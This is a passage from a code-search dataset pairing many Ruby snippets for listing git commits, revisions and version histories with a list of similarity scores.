"def get_history_file_versions\n\t\ttag_pattern = self.release_tag_pattern\n\n\t\treturn IO.readlines( self.history_file ).grep( tag_pattern ).map do |line|\n\t\t\tline[ /^(?:h\\d\\.|#+|=+)\\s+(#{tag_pattern})\\s+/, 1 ]\n\t\tend.compact\n\tend",
"def revisions(id, options={})\n get_request(\"articles/#{id}/revisions\", options)\n end",
"def versions\n info[:versions]\n end",
"def page_versions_with_paths\n page_versions.map do |version|\n [version, path_for_version(version, @item.path)]\n end\n end",
"def file_revisions(file)\n file = file.gsub(%r{^/}, '')\n output = sh_string(\"git log --format='%h|%s|%aN|%ai' -n100 #{ShellTools.escape(file)}\")\n output.to_s.split(\"\\n\").map do |log_result|\n commit, subject, author, date = log_result.split('|')\n date = Time.parse(date.sub(' ', 'T')).utc.iso8601\n { commit: commit, subject: subject, author: author, date: date }\n end\n end",
"def all_commit_times\n `git --git-dir=#{git_dir} log --all --pretty='%at'`.split(/\\n/).uniq\n end",
"def versions\n self.class.where(id: self._id)\n end",
"def list_snapshots options = {}\n paged_enum = subscriber.list_snapshots project: project_path(options),\n page_size: options[:max],\n page_token: options[:token]\n\n paged_enum.response\n end",
"def all_versions\n r = []\n raw['update'].each do |h|\n r << h['version']\n end\n AssUpdater::AssVersion.convert_array r\n end",
"def get_repo_list\n Chef::Log.debug(\n \"Fetching all versions of #{new_resource.module_name} \" +\n \"from #{new_resource.repository}.\",\n )\n latest = powershell_out!(\n <<-EOH,\n $splat = @{\n Name = \"#{new_resource.module_name}\"\n Repository = \"#{new_resource.repository}\"\n AllVersions = $True\n }\n (Find-Module @splat).Version.ForEach({$_.ToString()})\n EOH\n ).stdout.to_s.chomp.split(\"\\r\\n\")\n Chef::Log.debug(\"Available versions: #{latest.join(', ')}\")\n\n return latest.map { |v| Gem::Version.new(v) }\n end",
"def extract_modified_lines(file_path, options)\n lines = Set.new\n\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --no-ext-diff -U0 #{flags} #{refs} -- '#{file_path}'`.\n scan(DIFF_HUNK_REGEX) do |start_line, lines_added|\n lines_added = (lines_added || 1).to_i # When blank, one line was added\n cur_line = start_line.to_i\n\n lines_added.times do\n lines.add cur_line\n cur_line += 1\n end\n end\n\n lines\n end",
"def index\n @ezii_delta_gits = EziiDeltaGit.all\n end",
"def index\n @index ||= @repository.rugged.merge_commits(@our_commit, @their_commit)\n end",
"def select_transactions!\n check = VersionHistory.check\n if check == :fresh\n # Fresh db means, we create the version history table\n prepend_monolithic_transactions!\n VersionHistory.pull_up!\n else\n last_version = VersionHistory.find_last.version\n @transactions.select! { |tr| tr.version > last_version }\n end\n end",
"def index\n user = User.find(params[:user_id])\n course = Course.find(params[:course_id])\n\n @revisions = course.tracked_revisions.where(user_id: user.id)\n .order('revisions.date DESC')\n .eager_load(:article, :wiki)\n .limit(params[:limit] || DEFAULT_REVISION_LIMIT)\n end",
"def extract_modified_lines(file_path, options)\n lines = Set.new\n\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --no-color --no-ext-diff -U0 #{flags} #{refs} -- \"#{file_path}\"`.\n scan(DIFF_HUNK_REGEX) do |start_line, lines_added|\n lines_added = (lines_added || 1).to_i # When blank, one line was added\n cur_line = start_line.to_i\n\n lines_added.times do\n lines.add cur_line\n cur_line += 1\n end\n end\n\n lines\n end",
"def page_updates\n @page_updates ||= []\n end",
"def related_versions\n PaperTrail::Version.where(item_owner: self)\n end",
"def commits(start = 'master', max_count = 10, skip = 0)\n self.find_commits(options = {:ref => start, :max_count => max_count, :skip => skip})\n end",
"def all\n @ocfl_object.version_id_list.each do |version|\n get_version_delta(version)\n end\n @delta\n end",
"def project_versions(project,issues)\n issues.collect(&:fixed_version).compact.uniq\n end"
] |
[
"0.6553735",
"0.6256945",
"0.62072563",
"0.6161507",
"0.6096494",
"0.5941071",
"0.58849686",
"0.5836921",
"0.58259594",
"0.58247536",
"0.58151895",
"0.58088404",
"0.5767442",
"0.57469803",
"0.56994045",
"0.56977344",
"0.5672206",
"0.5651959",
"0.56430924",
"0.5639977",
"0.5638557",
"0.56338674",
"0.56166434",
"0.5568384",
"0.5547594",
"0.55468047",
"0.55063444",
"0.54992217",
"0.5499188",
"0.54914814",
"0.5488462",
"0.5474698",
"0.54646695",
"0.544487",
"0.54332554",
"0.54331756",
"0.5413973",
"0.5407171",
"0.5389258",
"0.53600353",
"0.53013104",
"0.52974313",
"0.5273303",
"0.5253473",
"0.5238343",
"0.52364594",
"0.5230113",
"0.5223097",
"0.5217675",
"0.5198907",
"0.51961887",
"0.5195205",
"0.5194346",
"0.518083",
"0.51713914",
"0.5171156",
"0.5142642",
"0.5142642",
"0.51356053",
"0.5129166",
"0.5128731",
"0.5110746",
"0.51057804",
"0.5101843",
"0.5101843",
"0.5084771",
"0.5077904",
"0.5076977",
"0.5063284",
"0.50549185",
"0.5054124",
"0.50535214",
"0.5045462",
"0.50363547",
"0.5027796",
"0.5024528",
"0.5023118",
"0.50217026",
"0.5011864",
"0.5009859",
"0.50073916",
"0.49960226",
"0.49837452",
"0.4983689",
"0.49793738",
"0.49642187",
"0.49608296",
"0.4951088",
"0.49475017",
"0.49456507",
"0.493764",
"0.49321285",
"0.49317217",
"0.49252367",
"0.49237558",
"0.49232876",
"0.49193436",
"0.4907958",
"0.49070674",
"0.49026778",
"0.48964265"
] |
0.0
|
-1
|
Returns the latest changes in the wiki (globally) options The options Hash: :max_count The Integer number of items to return. Returns an Array of Gollum::Git::Commit.
|
def latest_changes(options={})
options[:max_count] = 10 unless options[:max_count]
@repo.log(@ref, page_file_dir, options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recent_commit_shas count\n array_output_of(\"git rev-list HEAD -n #{count}\").reverse\nend",
"def get_all_commits(repo)\n all_commits = []\n page = 0\n page_size = 10\n commits = repo.commits('master', page_size, page)\n while commits.length > 0\n all_commits = all_commits + commits\n page = page + page_size\n commits = repo.commits('master', page_size, page)\n end\n return all_commits\nend",
"def recent_commits\n\n return \"\" if !installation_selected?\n\n installation_id = session[:selected_installation]\n # installation_token = get_app_token(installation_id)\n\n @client = Octokit::Client.new(:access_token => session[:access_token])\n response = @client.find_installation_repositories_for_user(installation_id)\n\n commits = response[:repositories]\n commits.take 15\nend",
"def get_all_commits_in_repo\n @branches.collect(&:commits).flatten.sort_by { |k| k.authored_date }.reverse\n end",
"def most_recent_github_commits\n path = @path_prefix + \"/commits\"\n json_response = make_request(path, true, nil)\n if json_response.is_a?(Hash) && json_response.key?(:error)\n puts \"Failed request, returning empty array for git commits\"\n return []\n end\n json_response.collect { |commit| commit['sha'] }\n end",
"def commits\n if !@commits\n @commits = []\n x = 0\n loop do\n x += 1\n response = get(\"/commits/list/#{repo.owner.login}/#{repo.name}/#{name}?page=#{x}\")\n break unless response.code == 200\n @commits += response['commits'].map { |c| Commit.new(connection, c.merge(:repo => self)) }\n end\n end\n @commits\n end",
"def commits(limit = 10, start = head)\n entries = []\n current = start\n\n while current and entries.size < limit\n entries << current\n current = get(current.parent.first)\n end\n\n entries\n end",
"def list\n if today?\n commits = commits_today(repo, branch)\n elsif yesterday?\n commits = commits_yesterday(repo, branch)\n elsif this_week?\n commits = commits_this_week(repo, branch)\n elsif last_week?\n commits = commits_last_week(repo, branch)\n elsif this_month?\n commits = commits_this_month(repo, branch)\n elsif after && before\n commits = commits_between(repo, branch, after, before)\n elsif after\n commits = commits_after(repo, branch, after)\n elsif before\n commits = commits_before(repo, branch, before)\n else\n commits = all_commits(repo, branch)\n end\n\n write_json(commits.map(&:to_h))\n end",
"def latest_builds(project, amount = 5)\n project.builds.order('build_number DESC').limit(amount).to_a\n end",
"def repo_commits(repos)\n repos_commits = []\n repos.each do |repo|\n repos_commits << HTTParty.get(repo[\"commits_url\"].gsub(\"{/sha}\", \"\"))[0]\n end\n repos_commits\nend",
"def recent_branches_fast\n\t\trefs = []\n\t\trefs.concat Pathname.glob(dot_git + 'refs/heads/**/*')\n\t\trefs.concat Pathname.glob(dot_git + 'refs/remotes/**/*')\n\n\t\tbranches = refs.reject {|r| r.directory? }.sort_by {|r| r.mtime }.last(@opts[:max_num]).map {|r|\n\t\t\tref = r.read.chomp\n\t\t\tif name = ref[/ref: (.+)/, 1]\n\t\t\t\tbegin\n\t\t\t\t\t(dot_git + name).read.chomp\n\t\t\t\trescue\n\t\t\t\t\t`git rev-parse #{name}`.chomp\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tref\n\t\t\tend\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def GetCommitInfos\n infos = ::Storage::ListCommitInfo.new()\n @sint.getCommitInfos(infos)\n ret = []\n infos.each do |info|\n m = {\n :destructive => info.destructive,\n :text => info.text\n }\n\tret.push(m)\n end\n ret\n end",
"def repos(show_commits = false)\n response = @github.repos.list(user: 'siakaramalegos', sort: 'updated', direction: 'desc', page: 1, per_page: 10)\n repos = response.body\n\n repos.each_with_index do |repo, index|\n puts '-' * 80\n date_string = repo.updated_at\n date = DateTime.parse(date_string).to_date\n puts \"(#{index + 1}) #{repo.name}: #{repo.description} (updated: #{date.stamp('12/30/99')})\"\n\n if show_commits\n repo_commits = @github.repos.commits.list('siakaramalegos', repo.name, page: 1, per_page: 10).body\n\n repo_commits.each do |c|\n date_string = c.commit.author.date\n date = DateTime.parse(date_string).to_date\n puts \" #{c.commit.message} (#{date.stamp('12/30/99')})\"\n end\n end\n end\n puts '-' * 80\n repos\n end",
"def get_last_30_days_commits(user, repo)\n current_time = Time.now.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n since = (Time.parse(current_time) - 30.days).strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n uptil = current_time\n begin\n github_api_response = RestClient.get(\"#{GithubApiConstants::GITHUB_ROOT}/repos/#{user}/#{repo}/commits?path=/&since=#{since}&until=#{uptil}&access_token=#{GithubApiConstants::GITHUB_ACCESS_TOKEN}\")\n JSON.parse(github_api_response).collect{|o| o[\"sha\"]}\n rescue RestClient::NotFound => e\n raise RepoExceptionHandler::RepoNotFound.new(\"repo #{repo} not found\")\n rescue RestClient::Forbidden => e\n raise RepoExceptionHandler::GithubAPILimitReached.new(GithubApiConstants::GITHUB_API_LIMIT_REACHED_MESSAGE)\n end\n end",
"def log(opts = {})\n max_count = opts[:max_count]\n skip = opts[:skip]\n start = opts[:start]\n raise ArgumentError, \"Invalid commit: #{start}\" if start.to_s =~ /^\\-/\n log = git_log('--pretty=tformat:%H%n%P%n%T%n%an%n%ae%n%at%n%cn%n%ce%n%ct%n%x00%s%n%b%x00',\n skip ? \"--skip=#{skip.to_i}\" : nil,\n max_count ? \"--max-count=#{max_count.to_i}\" : nil, start, '--', *opts[:path]).split(/\\n*\\x00\\n*/)\n commits = []\n log.each_slice(2) do |data, message|\n data = data.split(\"\\n\")\n parents = data[1].empty? ? nil : data[1].split(' ').map {|id| Reference.new(:repository => self, :id => id) }\n commits << Commit.new(:repository => self,\n :id => data[0],\n :parents => parents,\n :tree => Reference.new(:repository => self, :id => data[2]),\n :author => User.new(data[3], data[4], Time.at(data[5].to_i)),\n :committer => User.new(data[6], data[7], Time.at(data[8].to_i)),\n :message => message.strip)\n end\n commits\n rescue CommandError => ex\n return [] if ex.output =~ /bad default revision 'HEAD'/i\n raise\n end",
"def all_changes_in_revisions array\n raise NotImplementedError.new('Define method :all_changes_in_revisions on your source control.')\n end",
"def latest_commit()\n commits = @wiki.log({:max_count => 1})\n return nil if commits.nil?\n return nil if commits.empty?\n return commits.first\n end",
"def find_all(repo, options = {})\n wrapped_gitaly_errors do\n Gitlab::GitalyClient::CommitService.new(repo).find_all_commits(options)\n end\n end",
"def fetch_commit_hash_list()\n `git rev-list --all --reverse`.strip.split(/\\n/)\nend",
"def get_commits\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository_commits(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get recent commit: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_commits_json = response.parsed_response\n end",
"def history(*fragments)\n @wiki = repos.find_by_fragments(*fragments)\n @wikis = @wiki.history\n end",
"def latest_commits_from_repo(username, repo_name, author: nil, branch: nil)\n branch ||= default_branch_for_repo(username, repo_name)\n\n doc = doc_from_url(\n github_url_from_username(username) + \"/#{repo_name}/commits/#{branch}?author=#{author}\"\n )\n\n commit_list = doc.css(GITHUB_COMMITS_COMMIT_ITEM_SELECTOR)\n\n commit_list.map do |commit_node|\n copy_to_clipboard_btn = commit_node.search('button.zeroclipboard-button').first\n\n sha = copy_to_clipboard_btn.attributes['data-clipboard-text'].value\n\n sha\n end\nend",
"def commits\n @commits ||= data[:commits].map { |commit| project.commit(commit[:id]) }.reverse\n end",
"def recent_commits\n public_events = @client.user_public_events @user[:login]\n public_events.select! { |e| e[:type] == \"PushEvent\" }\n commits = []\n public_events.each do |e|\n e[:payload][:commits].each do |c|\n c[:html_url] = \"https://github.com/#{e[:repo][:name]}/commit/#{c[:sha]}\"\n c[:shortcut] = \"#{e[:repo][:name]}@#{c[:sha][0..7]}\"\n end\n commits.concat e[:payload][:commits]\n end\n commits.take 15\nend",
"def versions\n self.git.commits\n end",
"def revlist\n (`git rev-list --all`).split(\"\\n\")\n end",
"def get_commits\n # get the last build number\n build_tag = last_build_git_data\n @last_build_number = build_tag[:build_number]\n if @last_build_number == 0\n puts \"unable to get last build number using git describe. It returned #{build_tag[:describe]} but \\\nexpecting something that has letters followed by numbers. Unable to continue\"\n exit 1\n end\n\n # Jenkins will tag the build before running the deploy, @last_build_number - 1 will get the previous built version to get the diff.\n # However, if prev_build is set, use that instead. \n from_build = (@prev_build.nil?) ? (@last_build_number.to_i - 1) : @prev_build.to_i\n \n # now fetch all commits for anything between the current revision and the last build number\n last_build_tag = \"#{build_tag[:tag_name]}#{from_build}\"\n # puts \"looking for commits between #{last_build_tag} and #{@build_revision}\"\n \n commits = @repo.commits_between(last_build_tag, @build_revision)\n if (commits && commits.length > 0)\n load_tasks(commits)\n else\n puts \"No commits logs (other than possibly merges) were found between tag #{last_build_tag} and build revision #{build_revision}. \\n\nNothing to report on, exiting. \"\n exit 1\n end\n end",
"def index\n user = User.find(params[:user_id])\n course = Course.find(params[:course_id])\n\n @revisions = course.tracked_revisions.where(user_id: user.id)\n .order('revisions.date DESC')\n .eager_load(:article, :wiki)\n .limit(params[:limit] || DEFAULT_REVISION_LIMIT)\n end",
"def get_changes(opts = {})\n data, _status_code, _headers = get_changes_with_http_info(opts)\n data\n end",
"def commits(start = 'master', max_count = 10, skip = 0)\n self.find_commits(options = {:ref => start, :max_count => max_count, :skip => skip})\n end",
"def latest\n revisions.latest\n end",
"def next_changesets(skip_up_to, limit)\n return [] if empty? \n tip_number, tip_identifier, the_rest = @hg_client.log_for_rev('tip')\n return [] if skip_up_to && skip_up_to.number.to_i == tip_number.to_i\n from = skip_up_to.nil? ? 0 : skip_up_to.number + 1\n to = [from + limit - 1, tip_number.to_i].min\n log_entries = @hg_client.log_for_revs(from, to)\n log_entries.map{|log_entry| construct_changeset(*log_entry)}\n end",
"def getPastTagLogs(past1 = 1, past2 = 2, filter = true)\n # only return git logs that don't contain fastlane or private\n # use those keywords for your commit to be stealth in the build change logs\n to_exec = \"git log --oneline #{past1}...#{past2}\"\n if filter == true\n to_exec += \" | { egrep -vi 'fastlane|skip_ci|Merge' || true; }\"\n end\n changes = sh(to_exec)\n changes = changes[0...12_000]\n\n f = File.new(\"./tmp/changelog.txt\", \"w\")\n f.write(changes)\n f.close\n\n UI.important(\"CHANGES SINCE LAST PROD: \")\n UI.important(changes)\n\n return changes\nend",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def commits(project, options={})\n get(\"/projects/#{project}/repository/commits\", :query => options)\n end",
"def commits(project, options={})\n get(\"/projects/#{project}/repository/commits\", :query => options)\n end",
"def history\n self.repo.commits('master', false)\n end",
"def commit_messages\n t= DateTime.now - 10\n time = t.strftime('%Y-%m-%d') \n @commits = @client.commits_since(\"LingduoKong/final\", time )\n return @commits\n end",
"def recent_builds(params = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}\", params).get\n end",
"def fetch_svn_urls()\n urls = bot.config['svn_urls']\n commits = []\n urls.each do |url_str|\n begin\n @log.info \"checking #{url_str} for new commits...\"\n\n # https://username:password@svn.host.com:8080/svn/path/in/repo/\n url = Addressable::URI.parse(url_str)\n\n xmldata = `svn log --username #{url.user} --password #{url.password} --xml -v --limit 15 #{url.omit(:user, :password)}`\n doc = REXML::Document.new(xmldata)\n \n doc.elements.inject('log/logentry', commits) do |commits, element|\n commits.push({:url => url}.merge(parse_entry_info(element)))\n end\n\n rescue Exception => e\n @log.error \"error connecting to svn: #{e.message}\"\n end\n end\n return commits\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n Tinybucket::Parser::CommitsParser\n )\n end",
"def recent_builds(params = {})\n CircleCi.request(conf, base_path, params).get\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n get_parser(:collection, Tinybucket::Model::Commit)\n )\n end",
"def get_commits(days=7, user=nil)\n update_commits if @commits.nil?\n # Note that while get_pull_requests can use take_while, commits will also include\n # merges and therefore the dates are not neccissarily in order\n @commits.select do |c|\n c.commit.author.date.to_date > Date.today - days && (user.nil? || c.committer.login == user)\n end\n end",
"def commits\n @commits ||= ApiFactory.new 'GitData::Commits'\n end",
"def getLastChangeLog\r\n rLastChangesLines = []\r\n\r\n lChangeLogFileName = \"#{@RootDir}/ChangeLog\"\r\n if (File.exists?(lChangeLogFileName))\r\n File.open(lChangeLogFileName, 'r') do |iFile|\r\n lInLastVersionSection = false\r\n iFile.readlines.each do |iLine|\r\n if (iLine.match(/^== /) != nil)\r\n if (lInLastVersionSection)\r\n # Nothing else to parse\r\n break\r\n else\r\n # We are beginning the section corresponding to the last version\r\n lInLastVersionSection = true\r\n end\r\n elsif (lInLastVersionSection)\r\n # This line belongs to the last version section\r\n rLastChangesLines << iLine\r\n end\r\n end\r\n end\r\n end\r\n\r\n return rLastChangesLines\r\n end",
"def index\n @commits = @project.repo.log(10)\n respond_with @commits\n end",
"def pull_request_commits(repo, number, options = {})\n paginate \"#{Repository.path repo}/pulls/#{number}/commits\", options\n end",
"def commits\n repositories.map { |r| HoC.new(r, log: @log).commits }.inject(&:+)\n end",
"def pull_commits(repo, pull_number, options = {})\n paginate \"#{Repository.path repo}/pulls/#{pull_number}/commits\", options\n end",
"def refs\n select_branches(git.grit.refs)\n end",
"def page_diffs(title)\n title = normalize_title(title)\n list = []\n \n store.commits(100).each do |commit|\n diffs = commit.diffs(\"#{title}.md\")\n list << [commit, diffs] unless diffs.empty?\n end\n\n list\n end",
"def revisions(path, rev_limit=1000)\n\n params = {\n 'rev_limit' => rev_limit.to_s\n }\n\n response = @session.do_get build_url(\"/revisions/#{@root}#{format_path(path)}\", params)\n parse_response(response)\n\n end",
"def commits!\n response = @client.get_json(\"#{path}/commits\")\n @commits = response.map do |commit| \n Commit.new(client: @client, user: @user, repo: self, sha: commit['sha']) \n end\n @commits\n end",
"def all_commits\n `git --git-dir=#{git_dir} log --all --pretty='%H'`.split(/\\n/).uniq\n end",
"def pull_latest_changes\n system \"cd #{Dots.home} && #{git_pull}\"\n end",
"def project_commits(id)\n begin\n JSON(RestClient.get GITLAB_WS_URL + \"projects/#{id}/repository/commits\", {:private_token => GITLAB_TOKEN}).reverse\n rescue Exception\n return []\n end\n end",
"def versions\n return @_versions ||= Regulate::Git::Interface.commits(id)\n end",
"def last_commits\n sh(\"git log --topo-order --pretty=format:'%H' | head\").split(\"\\n\")\n end",
"def posts\n return @posts if defined? @posts\n\n diffable_files = `git diff -z --name-only --diff-filter=ACRTUXB origin/master -- content/changes/`.split(\"\\0\")\n\n @posts = diffable_files.select do |filename|\n ext = File.extname(filename)\n ext == \".md\" || ext == \".html\"\n end\nend",
"def commits\n @commits ||= ApiFactory.new 'Projects::Commits'\n end",
"def fetch_commits(repo_user,repo_name, sha, commits_size)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/commits?sha=#{sha}&per_page=#{commits_size}\")\n body = response_body(uri)\n if body.instance_of? Array\n body\n elsif body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n puts \"WARNING unexpected body = #{body}\"\n []\n end\n end",
"def fetch_changesets\n # Save ourselves an expensive operation if we're already up to date\n return if scm.num_revisions == changesets.count\n\n revisions = scm.revisions('', nil, nil, :all => true)\n return if revisions.nil? || revisions.empty?\n\n # Find revisions that redmine knows about already\n existing_revisions = changesets.find(:all).map!{|c| c.scmid}\n\n # Clean out revisions that are no longer in git\n Changeset.delete_all([\"scmid NOT IN (?) AND repository_id = (?)\", revisions.map{|r| r.scmid}, self.id])\n\n # Subtract revisions that redmine already knows about\n revisions.reject!{|r| existing_revisions.include?(r.scmid)}\n\n # Save the remaining ones to the database\n revisions.each{|r| r.save(self)} unless revisions.nil?\n end",
"def get_existing_commits!\n release_meta_paths = Dir.glob(\"#{RELEASE_META_DIR}/*.toml\").to_a\n\n release_meta_paths.collect do |release_meta_path|\n contents = File.read(release_meta_path)\n parsed_contents = TomlRB.parse(contents)\n release_hash = parsed_contents.fetch(\"releases\").values.fetch(0)\n release_hash.fetch(\"commits\").collect do |c|\n message_data = parse_commit_message!(c.fetch(\"message\"))\n\n {\n \"sha\" => c.fetch(\"sha\"),\n \"message\" => c.fetch(\"message\"),\n \"author\" => c.fetch(\"author\"),\n \"date\" => c.fetch(\"date\"),\n \"pr_number\" => message_data.fetch(\"pr_number\"),\n \"files_count\" => c[\"files_count\"],\n \"insertions_count\" => c[\"insertions_count\"],\n \"deletions_count\" => c[\"deletions_count\"]\n }\n end\n end.flatten\nend",
"def commits_last_x_months(pr, exclude_pull_req, months_back)\n q = <<-QUERY\n select count(c.id) as num_commits\n from projects p, commits c, project_commits pc, pull_requests pr,\n pull_request_history prh\n where p.id = pc.project_id\n and pc.commit_id = c.id\n and p.id = pr.base_repo_id\n and prh.pull_request_id = pr.id\n and prh.action = 'opened'\n and c.created_at < prh.created_at\n and c.created_at > DATE_SUB(prh.created_at, INTERVAL #{months_back} MONTH)\n and pr.id=?\n QUERY\n\n if exclude_pull_req\n q << ' and not exists (select * from pull_request_commits prc1 where prc1.commit_id = c.id)'\n end\n\n db.fetch(q, pr[:id]).first[:num_commits]\n end",
"def index\n @ezii_delta_gits = EziiDeltaGit.all\n end",
"def get(*args)\n arguments(args, required: [:user, :repo, :sha])\n\n get_request(\"/repos/#{arguments.user}/#{arguments.repo}/commits/#{arguments.sha}\", arguments.params)\n end",
"def diffs_to_api\n return @diffs_to_api if @diffs_to_api\n @diffs_to_api = []\n\n diffs.each do |diff|\n path = diff.delta.new_file[:path]\n # Presumably only the first commit\n next if path.split('.').first.to_s.downcase == \"readme\"\n\n lines = []\n diff.each_hunk.each do |hunk|\n lines += hunk.lines\n end\n\n html = OutputRenderer.diff(lines)\n status = diff.delta.status\n\n @diffs_to_api << {\n status: status,\n path: path,\n html: html,\n content: @repo.lookup(diff.delta.new_file[:oid]).content\n }\n\n end\n\n @diffs_to_api\n end",
"def revisions(path, identifier_from, identifier_to, options = {}, &block)\n if block_given?\n raise 'Can' 't read chunks with reverse option' if options[:reverse]\n revisions_in_chunks(path, identifier_from, identifier_to, options, &block)\n else\n revs = []\n revisions_in_chunks(path, identifier_from, identifier_to, options) do |chunk|\n revs += chunk.values\n end\n options[:reverse] ? revs.reverse : revs\n end\n rescue Redmine::Scm::Adapters::CommandFailed => e\n err_msg = \"git log error: #{e.message}\"\n logger.error(err_msg)\n if block_given?\n raise Redmine::Scm::Adapters::CommandFailed, err_msg\n else\n revs\n end\n end",
"def find_last_updated_weblogs(limit = 5)\n return [] if limit <= 0\n\n weblogs.accessible.all.sort { |a, b| b.last_updated_at <=> a.last_updated_at }[0..(limit - 1)]\n end",
"def commits_last_x_months(pr_id, exclude_pull_req, months)\n q = <<-QUERY\n select count(c.id) as num_commits\n from projects p, commits c, project_commits pc, pull_requests pr,\n pull_request_history prh\n where p.id = pc.project_id\n and pc.commit_id = c.id\n and p.id = pr.base_repo_id\n and prh.pull_request_id = pr.id\n and prh.action = 'opened'\n and c.created_at < prh.created_at\n and c.created_at > DATE_SUB(prh.created_at, INTERVAL #{months} MONTH)\n and pr.id=?\n QUERY\n\n if exclude_pull_req\n q << ' and not exists (select * from pull_request_commits prc1 where prc1.commit_id = c.id)'\n end\n q << ';'\n\n if_empty(db.fetch(q, pr_id).all, :num_commits)\n end",
"def currently_changed_files\n `git status --porcelain`.split(\"\\n\").map{ |file| file.split.last }\n end",
"def list\n Dir.chdir @root do\n cmd = \"git branch\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n case stderr\n when /Not a git repository/\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n return stdout.split.map { |s|\n # Remove trailing/leading whitespace and astericks\n s.sub('*', '').strip\n }.reject { |s|\n # Drop elements created due to trailing newline\n s.size == 0\n }\n end\n end",
"def get_repo_list\n Chef::Log.debug(\n \"Fetching all versions of #{new_resource.module_name} \" +\n \"from #{new_resource.repository}.\",\n )\n latest = powershell_out!(\n <<-EOH,\n $splat = @{\n Name = \"#{new_resource.module_name}\"\n Repository = \"#{new_resource.repository}\"\n AllVersions = $True\n }\n (Find-Module @splat).Version.ForEach({$_.ToString()})\n EOH\n ).stdout.to_s.chomp.split(\"\\r\\n\")\n Chef::Log.debug(\"Available versions: #{latest.join(', ')}\")\n\n return latest.map { |v| Gem::Version.new(v) }\n end",
"def pull_requests repo\n name = full_name repo\n \n %w[open closed].reduce([]) do |memo, state|\n memo | octokit.pulls(name, state, :per_page=>100)\n end\n end",
"def get_files_modified\r\n\tgit_result = IO.popen('git status -u --porcelain').read\r\n\tgit_result.split(/[\\r\\n]+/).uniq.map!{|file| file.slice 3..-1}\r\nend",
"def history\n RailsCommits::Request.new('repos/rails/rails/commits', @token, @count, @author).run\n end",
"def history\n @vcs.history\n end",
"def fetch_changelogs\n @changelogs = @spkg.changelogs\n .includes(:maintainer)\n .order(at: :desc, evr: :desc, created_at: :desc)\n end",
"def all_commit_times\n `git --git-dir=#{git_dir} log --all --pretty='%at'`.split(/\\n/).uniq\n end",
"def commits(count = 30)\n data = git \"log -n#{count} --pretty=format:\\\"%H %ct %s\\\" #{@repo.commit} #{@path}\"\n data.split(\"\\n\").map {|c|\n sha1, timestamp, subject = c.split /\\s+/, 3\n\n Commit.new @repo, sha1, Time.at(timestamp.to_i), subject\n }\n end",
"def get_list\n @list_of_repos\n end",
"def list_closed(number_to_list = 100)\n Octokit.pull_requests(@git_repository, :state => 'closed', :per_page => number_to_list, :sort => 'updated', :direction => 'desc').map {|pull_request| pull_request[:number]}\n end",
"def get_changes_for(changeable, opts = {})\n limit = opts.delete(:limit)\n my_id = changeable.id\n return self.send(\"find_all_by_#{self.changeable_fk}\", my_id, {:order => 'updated_at'}) unless limit\n self.send(\"find_all_by_#{self.changeable_fk}\", my_id, {:order => 'updated_at', :limit => limit})\n end",
"def changelog\n log = []\n method_name = \"changelog_format_#{ options[:format] }\"\n method_name = \"changelog_format_default\" unless internal_respond_to?(method_name)\n driver = driver(options[:mask])\n driver.all_version_tags.each_with_index do |tag, index|\n break if options[:top] && index >= options[:top]\n log << send(method_name, tag, driver.version_tag_info(tag))\n end\n puts log.join(\"\\n\\n\")\n end",
"def get_commits(pull_req_id)\n do_request(\"https://api.github.com/repos/#{CONFIG[\"repo\"][\"org\"]}/#{CONFIG[\"repo\"][\"repo\"]}/pulls/#{pull_req_id}/commits\", true)\n end",
"def index\n if params[:ref_name]\n if ref = @repository.branches.where(name: params[:ref_name]).first\n @branch = ref\n elsif ref = @repository.tags.where(name: params[:ref_name]).first!\n @tag = ref\n end\n else\n @branch = ref = @repository.default_branch\n end\n\n commits_page = (params[:page] || 1).to_i\n commits_page = 1 if commits_page < 1\n parent_commits = ref.commit.walk_parents((commits_page - 1) * 20, 21)\n @commits = parent_commits[0, 20]\n\n @next_page = parent_commits[20] ? commits_page + 1 : nil\n @previous_page = (commits_page > 1) ? commits_page - 1 : nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @commits }\n end\n end",
"def commit_info(params)\n user, repo = params[\"user\"], params[\"repo\"]\n shas = get_last_30_days_commits(user, repo)\n commit_hash = {}\n file_arr = []\n hydra = Typhoeus::Hydra.new\n shas.each do |sha|\n request = Typhoeus::Request.new(\"#{GithubApiConstants::GITHUB_ROOT}/repos/#{user}/#{repo}/commits/#{sha}?access_token=#{GITHUB_ACCESS_TOKEN}\")\n request.on_complete do |response|\n if response.success?\n parsed_sha_info = JSON.parse(response.response_body)\n author = parsed_sha_info[\"commit\"][\"author\"][\"name\"]\n files = parsed_sha_info[\"files\"].collect { |f| f[\"filename\"] }\n commit_hash[files] = author\n file_arr << files\n else\n raise RepoExceptionHandler::GithubAPILimitReached.new(GithubApiConstants::GITHUB_API_LIMIT_REACHED_MESSAGE)\n end\n end\n hydra.queue(request)\n end\n hydra.run\n return commit_hash, file_arr\n end",
"def revisions\n if id == nil\n Revision.where('1=0')\n end\n Revision.where(:discussion_id => id).where('reply_id IS null').order('created_at DESC')\n end",
